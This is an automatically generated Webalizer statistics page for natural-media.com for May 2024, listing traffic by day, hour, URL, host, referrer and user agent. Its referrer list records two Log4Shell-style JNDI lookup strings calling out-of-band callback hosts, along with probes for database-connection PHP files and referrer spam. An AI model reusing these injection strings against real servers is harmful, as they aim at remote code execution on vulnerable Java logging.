Statistics for natural-media.com

Summary Period: May 2024
Generated 01-Jun-2024 00:02 ICT


[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents]

Monthly Statistics for May 2024
Total Hits 222451
Total Files 214996
Total Pages 220202
Total Visits 1371
Total KBytes 27560
Total Unique Sites 1091
Total Unique URLs 6
Total Unique Referrers 70
Total Unique User Agents 1277
. Avg Max
Hits per Hour 298 4334
Hits per Day 7175 10726
Files per Day 6935 8715
Pages per Day 7103 10671
Sites per Day 35 97
Visits per Day 44 64
KBytes per Day 889 1689
Hits by Response Code
Code 200 - OK 96.65% 214996
Code 403 - Forbidden 0.02% 38
Code 404 - Not Found 3.33% 7413
Code 405 - Method Not Allowed 0.00% 2
Code 406 - Not Acceptable 0.00% 1
Code 501 - Not Implemented 0.00% 1

Daily usage for May 2024

Daily Statistics for May 2024
Day Hits Files Pages Visits Sites KBytes
1 7070 3.18% 6631 3.08% 7010 3.18% 45 3.28% 55 5.04% 897 3.26%
2 6704 3.01% 6667 3.10% 6674 3.03% 45 3.28% 40 3.67% 821 2.98%
3 6691 3.01% 6653 3.09% 6666 3.03% 50 3.65% 50 4.58% 816 2.96%
4 6670 3.00% 6636 3.09% 6644 3.02% 44 3.21% 47 4.31% 811 2.94%
5 6671 3.00% 6639 3.09% 6649 3.02% 50 3.65% 48 4.40% 811 2.94%
6 6767 3.04% 6705 3.12% 6730 3.06% 53 3.87% 51 4.67% 823 2.98%
7 6663 3.00% 6627 3.08% 6640 3.02% 49 3.57% 43 3.94% 811 2.94%
8 6667 3.00% 6626 3.08% 6632 3.01% 45 3.28% 51 4.67% 810 2.94%
9 6799 3.06% 6711 3.12% 6722 3.05% 50 3.65% 74 6.78% 833 3.02%
10 6762 3.04% 6689 3.11% 6700 3.04% 49 3.57% 48 4.40% 827 3.00%
11 6624 2.98% 6572 3.06% 6592 2.99% 50 3.65% 41 3.76% 807 2.93%
12 6691 3.01% 6646 3.09% 6655 3.02% 47 3.43% 46 4.22% 815 2.96%
13 6357 2.86% 6315 2.94% 6323 2.87% 50 3.65% 42 3.85% 774 2.81%
14 7376 3.32% 6721 3.13% 6738 3.06% 44 3.21% 44 4.03% 822 2.98%
15 6620 2.98% 6578 3.06% 6589 2.99% 50 3.65% 52 4.77% 805 2.92%
16 6822 3.07% 6664 3.10% 6798 3.09% 39 2.84% 36 3.30% 843 3.06%
17 6801 3.06% 6643 3.09% 6765 3.07% 53 3.87% 60 5.50% 841 3.05%
18 6860 3.08% 6679 3.11% 6830 3.10% 64 4.67% 62 5.68% 849 3.08%
19 10726 4.82% 6607 3.07% 10671 4.85% 39 2.84% 39 3.57% 1689 6.13%
20 6700 3.01% 6667 3.10% 6672 3.03% 35 2.55% 38 3.48% 818 2.97%
21 6477 2.91% 6443 3.00% 6462 2.93% 43 3.14% 38 3.48% 790 2.87%
22 6384 2.87% 6321 2.94% 6330 2.87% 45 3.28% 49 4.49% 781 2.84%
23 6617 2.97% 6323 2.94% 6331 2.88% 43 3.14% 39 3.57% 830 3.01%
24 6728 3.02% 6669 3.10% 6698 3.04% 46 3.36% 45 4.12% 822 2.98%
25 7804 3.51% 7713 3.59% 7721 3.51% 38 2.77% 82 7.52% 958 3.48%
26 8035 3.61% 7913 3.68% 7932 3.60% 33 2.41% 86 7.88% 987 3.58%
27 7998 3.60% 7885 3.67% 7903 3.59% 31 2.26% 97 8.89% 981 3.56%
28 7966 3.58% 7852 3.65% 7876 3.58% 44 3.21% 75 6.87% 978 3.55%
29 7921 3.56% 7845 3.65% 7867 3.57% 47 3.43% 60 5.50% 968 3.51%
30 8716 3.92% 8641 4.02% 8647 3.93% 30 2.19% 61 5.59% 1069 3.88%
31 8764 3.94% 8715 4.05% 8735 3.97% 50 3.65% 55 5.04% 1072 3.89%

Hourly usage for May 2024

Hourly Statistics for May 2024
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 287 8917 4.01% 286 8867 4.12% 286 8875 4.03% 35 1090 3.96%
1 285 8845 3.98% 283 8782 4.08% 283 8797 3.99% 35 1079 3.92%
2 292 9057 4.07% 290 9001 4.19% 291 9032 4.10% 36 1105 4.01%
3 294 9134 4.11% 291 9050 4.21% 293 9090 4.13% 36 1117 4.05%
4 298 9238 4.15% 293 9088 4.23% 295 9150 4.16% 36 1129 4.10%
5 406 12606 5.67% 271 8420 3.92% 404 12524 5.69% 62 1925 6.99%
6 287 8905 4.00% 284 8814 4.10% 285 8859 4.02% 35 1090 3.95%
7 316 9825 4.42% 292 9081 4.22% 294 9137 4.15% 36 1125 4.08%
8 292 9077 4.08% 289 8973 4.17% 291 9023 4.10% 36 1117 4.05%
9 299 9278 4.17% 295 9145 4.25% 296 9202 4.18% 37 1139 4.13%
10 304 9426 4.24% 292 9071 4.22% 294 9124 4.14% 38 1172 4.25%
11 295 9146 4.11% 291 9040 4.20% 293 9092 4.13% 36 1125 4.08%
12 296 9193 4.13% 290 9015 4.19% 295 9145 4.15% 36 1131 4.10%
13 292 9072 4.08% 289 8989 4.18% 290 9002 4.09% 36 1111 4.03%
14 291 9035 4.06% 288 8941 4.16% 289 8972 4.07% 36 1102 4.00%
15 292 9078 4.08% 290 9001 4.19% 290 9011 4.09% 36 1112 4.03%
16 290 9000 4.05% 288 8944 4.16% 289 8963 4.07% 35 1097 3.98%
17 296 9185 4.13% 290 9007 4.19% 295 9146 4.15% 36 1128 4.09%
18 291 9045 4.07% 289 8989 4.18% 290 9001 4.09% 36 1106 4.01%
19 293 9099 4.09% 290 9003 4.19% 291 9033 4.10% 36 1111 4.03%
20 293 9112 4.10% 289 8980 4.18% 291 9031 4.10% 36 1114 4.04%
21 292 9058 4.07% 285 8859 4.12% 290 9014 4.09% 36 1117 4.05%
22 288 8949 4.02% 285 8850 4.12% 285 8864 4.03% 35 1093 3.97%
23 295 9171 4.12% 293 9086 4.23% 294 9115 4.14% 36 1123 4.07%

Top 6 of 6 Total URLs
# Hits KBytes URL
1 214910 96.61% 26109 94.73% /
2 56 0.03% 14 0.05% /photos/
3 10 0.00% 0 0.00% /htdocs/connect_DB.php
4 7 0.00% 0 0.00% /htdocs/
5 7 0.00% 0 0.00% /htdocs/connect_DB2.php
6 6 0.00% 1 0.00% /index

Top 6 of 6 Total URLs By KBytes
# Hits KBytes URL
1 214910 96.61% 26109 94.73% /
2 56 0.03% 14 0.05% /photos/
3 6 0.00% 1 0.00% /index
4 10 0.00% 0 0.00% /htdocs/connect_DB.php
5 7 0.00% 0 0.00% /htdocs/
6 7 0.00% 0 0.00% /htdocs/connect_DB2.php

Top 6 of 6 Total Entry Pages
# Hits Visits URL
1 214910 96.61% 1154 94.05% /
2 56 0.03% 46 3.75% /photos/
3 10 0.00% 10 0.81% /htdocs/connect_DB.php
4 7 0.00% 6 0.49% /htdocs/connect_DB2.php
5 6 0.00% 6 0.49% /index
6 7 0.00% 5 0.41% /htdocs/

Top 6 of 6 Total Exit Pages
# Hits Visits URL
1 214910 96.61% 1139 94.05% /
2 56 0.03% 44 3.63% /photos/
3 10 0.00% 9 0.74% /htdocs/connect_DB.php
4 7 0.00% 7 0.58% /htdocs/connect_DB2.php
5 7 0.00% 6 0.50% /htdocs/
6 6 0.00% 6 0.50% /index

Top 30 of 1091 Total Sites
# Hits Files KBytes Visits Hostname
1 211297 94.99% 211297 98.28% 25999 94.34% 3 0.22% 46.22.51.77
2 4090 1.84% 3 0.00% 878 3.19% 1 0.07% 82.197.68.69
3 1822 0.82% 1822 0.85% 0 0.00% 276 20.13% 5.101.47.173
4 860 0.39% 860 0.40% 0 0.00% 219 15.97% 152.228.218.191
5 619 0.28% 1 0.00% 0 0.00% 1 0.07% 84.239.42.147
6 354 0.16% 0 0.00% 74 0.27% 1 0.07% 185.21.49.102
7 245 0.11% 0 0.00% 50 0.18% 1 0.07% 52.143.98.148
8 127 0.06% 1 0.00% 27 0.10% 1 0.07% 123.57.250.154
9 127 0.06% 1 0.00% 27 0.10% 1 0.07% 52.66.10.97
10 114 0.05% 1 0.00% 24 0.09% 1 0.07% 116.37.5.215
11 76 0.03% 3 0.00% 15 0.06% 3 0.22% 216.244.66.235
12 52 0.02% 10 0.00% 11 0.04% 10 0.73% 104.156.140.47
13 42 0.02% 40 0.02% 5 0.02% 2 0.15% 106.58.220.118
14 42 0.02% 6 0.00% 9 0.03% 2 0.15% 152.42.181.219
15 35 0.02% 2 0.00% 8 0.03% 14 1.02% 194.38.23.16
16 28 0.01% 0 0.00% 6 0.02% 0 0.00% 3.139.50.99
17 27 0.01% 16 0.01% 4 0.02% 1 0.07% 89.58.11.50
18 21 0.01% 20 0.01% 3 0.01% 1 0.07% 1.14.92.22
19 21 0.01% 20 0.01% 3 0.01% 1 0.07% 119.45.114.138
20 21 0.01% 3 0.00% 4 0.02% 1 0.07% 138.199.18.143
21 21 0.01% 20 0.01% 3 0.01% 1 0.07% 14.215.51.70
22 21 0.01% 20 0.01% 3 0.01% 1 0.07% 182.43.64.21
23 21 0.01% 20 0.01% 3 0.01% 1 0.07% 182.43.65.17
24 21 0.01% 20 0.01% 3 0.01% 1 0.07% 182.43.69.56
25 21 0.01% 20 0.01% 3 0.01% 1 0.07% 183.56.249.124
26 21 0.01% 20 0.01% 3 0.01% 1 0.07% 222.219.130.168
27 21 0.01% 3 0.00% 4 0.02% 1 0.07% 34.102.21.50
28 21 0.01% 20 0.01% 3 0.01% 1 0.07% 43.139.153.132
29 21 0.01% 20 0.01% 3 0.01% 1 0.07% 43.139.65.222
30 21 0.01% 3 0.00% 4 0.02% 1 0.07% 81.215.216.188
View All Sites

Top 10 of 1091 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 211297 94.99% 211297 98.28% 25999 94.34% 3 0.22% 46.22.51.77
2 4090 1.84% 3 0.00% 878 3.19% 1 0.07% 82.197.68.69
3 354 0.16% 0 0.00% 74 0.27% 1 0.07% 185.21.49.102
4 245 0.11% 0 0.00% 50 0.18% 1 0.07% 52.143.98.148
5 127 0.06% 1 0.00% 27 0.10% 1 0.07% 123.57.250.154
6 127 0.06% 1 0.00% 27 0.10% 1 0.07% 52.66.10.97
7 114 0.05% 1 0.00% 24 0.09% 1 0.07% 116.37.5.215
8 76 0.03% 3 0.00% 15 0.06% 3 0.22% 216.244.66.235
9 52 0.02% 10 0.00% 11 0.04% 10 0.73% 104.156.140.47
10 42 0.02% 6 0.00% 9 0.03% 2 0.15% 152.42.181.219

Top 30 of 70 Total Referrers
# Hits Referrer
1 42489 19.10% https://gb7.ru/
2 42419 19.07% https://fd0.ru/
3 42274 19.00% https://ks8.ru/
4 41894 18.83% https://vx8.ru/
5 41807 18.79% https://px6.ru/
6 7887 3.55% - (Direct Request)
7 1348 0.61% https://jester-soft.ws/
8 1334 0.60% https://softbesplatno.net/
9 354 0.16% https://xn--80adb2aqcedv1i.xn--p1ai/
10 85 0.04% https://platin-official.ru/
11 84 0.04% https://orel-cs.ru/
12 82 0.04% https://infonovosti365.ru/
13 82 0.04% https://shinigami-llt.ru/
14 81 0.04% https://milovice.ru/
15 22 0.01% www.google.com
16 4 0.00% https://www.google.com
17 2 0.00% https://apelsinoteli.ru/otel-na-preobrazhenke/
18 2 0.00% https://bitcoin-paper-wallet.org/
19 2 0.00% https://freelance-work.store/
20 2 0.00% https://ganadineroporinternet.info/
21 2 0.00% https://google.com
22 2 0.00% https://imperya-sushi.ru/delivery\r
23 2 0.00% https://pojistenicizincu.cz/en
24 2 0.00% https://renvills-hotel.ru/
25 2 0.00% https://spb.60minut.ru/
26 2 0.00% https://vztm.ru/
27 2 0.00% https://vztm.ru/skotch
28 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cp13js7pu5a84somvuu0mqatipc5kfnga.oast.online}
29 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cp2db397p9se251q49hg9dhsck1c9zdi5.oast.me}
30 1 0.00% https://duckduckgo.com/
View All Referrers

Top 15 of 1277 Total User Agents
# Hits User Agent
1 2682 1.21% Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
2 717 0.32% Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.
3 715 0.32% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 OPR/71.0.
4 702 0.32% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.
5 701 0.32% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.7
6 682 0.31% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 OPR/74.0.
7 670 0.30% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 OPR/73.0.
8 648 0.29% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.1
9 628 0.28% Mozilla/5.0 (compatible; YandexWebmaster/2.0; +http://yandex.com/bots)
10 504 0.23% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3
11 490 0.22% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.86 YaBrowser/20.8.0.894 Yow
12 485 0.22% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 OPR/70.0.
13 483 0.22% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.4882.
14 478 0.21% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
15 471 0.21% Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.
View All User Agents


Generated by Webalizer Version 2.20
Quick Help